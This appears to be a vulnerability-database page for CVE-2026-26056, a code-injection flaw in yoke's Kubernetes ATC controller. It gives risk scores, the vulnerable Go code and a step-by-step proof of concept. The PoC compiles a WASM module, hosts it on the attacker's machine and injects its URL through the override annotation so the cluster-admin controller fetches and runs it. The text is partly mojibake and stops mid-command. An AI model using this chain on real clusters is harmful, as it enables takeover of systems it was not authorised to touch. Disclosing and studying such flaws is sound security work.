# CVE-2026-26056: yoke (High 8.8) ๐Ÿน ๐Ÿน Go Not in CISA KEV HIGH severity # CVE-2026-26056 โ€” yoke HIGH CVE-2026-26056 is a high-severity (CVSS 8.8) Code Injection vulnerability in github.com/yokecd/yoke. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime. Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC Also known as[GHSA-wj8p-jj64-h7ff](/vulnerability/GHSA-wj8p-jj64-h7ff)GO-2026-4493 Published Feb 12, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched See advisory Exploits None indexed Exploitation data as of Nov 4, 2026 ยท OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISAโ€™s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. - A successful exploit gives an attacker total control of the affected component, not partial access. Exploitation and automatability from CISAโ€™s SSVC triage for CVE-2026-26056. ## EPSS Exploitation Probability [via FIRST.org โ†—](https://www.first.org/epss/) 0.5%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs40th percentile โ€” riskier than 40% of all scored CVEsHighest risk 0.00%0.36%0.72%1.08%0.1%0.5%May 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected ๐Ÿน`github.com/yokecd/yoke` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages โ€” download data is not available via public APIs for these ecosystems. ## Description ## Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the `overrides.yoke.cd/flight` annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level. **Recommended CWE**: CWE-94 (Improper Control of Generation of Code - Code Injection) ### Summary Yoke ATC allows users to override the Flight WASM module URL via the `overrides.yoke.cd/flight` annotation on Custom Resources. The controller only checks if the user has `update` permission on `airways` resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code. ### Details The vulnerability exists in two code paths: **Source Point - Annotation Definition** (`pkg/flight/flight.go:41-42`): ``` const ( AnnotationOverrideFlight = "overrides.yoke.cd/flight" AnnotationOverrideMode = "overrides.yoke.cd/mode" ) ``` **Sink Point 1 - Admission Webhook** (`cmd/atc/handler.go:298-300`): ``` if overrideURL, _, _ := unstructured.NestedString(cr.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { xhttp.AddRequestAttrs(r.Context(), slog.Group("overrides", "flight", overrideURL)) takeoffParams.Flight.Path = overrideURL // User-provided URL used directly } ``` **Sink Point 2 - Reconciler** (`internal/atc/reconciler_instance.go:264-269`): ``` if overrideURL, _, _ := unstructured.NestedString(resource.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { ctrl.Logger(ctx).Warn("using override module", "url", overrideURL) // Simply set the override URL as the flight path and let yoke load and execute the wasm module takeoffParams.Flight.Path = overrideURL // User-provided URL used directly without validation } ``` The permission check at `cmd/atc/handler.go:160-177` only verifies `update` permission on `airways` resources, not the ability to execute arbitrary WASM code: ``` accessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create( r.Context(), &authorizationv1.SubjectAccessReview{ Spec: authorizationv1.SubjectAccessReviewSpec{ ResourceAttributes: &authorizationv1.ResourceAttributes{ Verb: "update", Group: "yoke.cd", Version: "v1alpha1", Resource: "airways", // Only checks airway update permission }, }, }, ) ``` ### PoC #### Environment Setup **Prerequisites**: - Docker installed and running - kubectl installed - Go 1.21+ installed - kind installed **Step 1: Create Kind cluster** ``` cat > /tmp/kind-config.yaml << 'EOF' kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 name: yoke-vuln-test nodes: - role: control-plane EOF kind create cluster --config /tmp/kind-config.yaml ``` **Step 2: Build and install Yoke CLI** ``` # Clone yoke repository git clone https://github.com/yokecd/yoke.git cd yoke # Build yoke CLI (patch version if needed for compatibility) GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke # Verify installation /tmp/yoke version ``` Expected output: ``` โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ yoke โ”‚ v0.18.0 โ”‚ โ”‚ toolchain โ”‚ go1.25.6 โ”‚ โ”‚ k8s.io/client-go โ”‚ v0.34.1 โ”‚ โ”‚ github.com/tetratelabs/wazero โ”‚ v1.6.0 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` **Step 3: Deploy ATC** ``` /tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest ``` Expected output: ``` Cluster-access not granted: enable cluster-access to reuse existing TLS certificates. Generating TLS certificates, this may take a second... Finished generating TLS certificates. --- successful takeoff of atc ``` **Step 4: Verify ATC deployment and permissions** ``` kubectl get pods -n atc kubectl get clusterrolebinding | grep atc ``` Expected output: ``` NAME READY STATUS RESTARTS AGE atc-atc-6d4bcb7665-wvqkt 1/1 Running 0 22s atc-atc-cluster-role-binding ClusterRole/cluster-admin 22s ``` **Step 5: Deploy Backend Airway example** ``` /tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz" ``` Expected output: ``` successful takeoff of backendairway ``` #### Exploitation Steps **Step 1: Create malicious WASM module** Create `malicious-wasm.go`: ``` // Malicious WASM module for VUL-001 vulnerability verification package main import ( "encoding/json" "fmt" ) func main() { // Create a ConfigMap to prove arbitrary code execution resource := map[string]interface{}{ "apiVersion": "v1", "kind": "ConfigMap", "metadata": map[string]interface{}{ "name": "stolen-credentials", "namespace": "default", "labels": map[string]string{ "vulnerability": "VUL-001", "type": "exfiltrated-token", }, }, "data": map[string]string{ "vulnerability": "VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution", "proof": "This ConfigMap was created by malicious WASM code", }, } resources := []interface{}{resource} output, _ := json.Marshal(resources) fmt.Println(string(output)) } ``` Compile to WASM: ``` GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go ``` **Step 2: Host malicious WASM** ``` python3 -m http.server 8888 & ``` **Step 3: Get host IP accessible from Kind cluster** ``` HOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1) echo "Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm" ``` **Step 4: Create malicious Backend CR** ``` MALICIOUS_URL="http://${HOST_IP}:8888/malicious.wasm" kubectl apply -f - <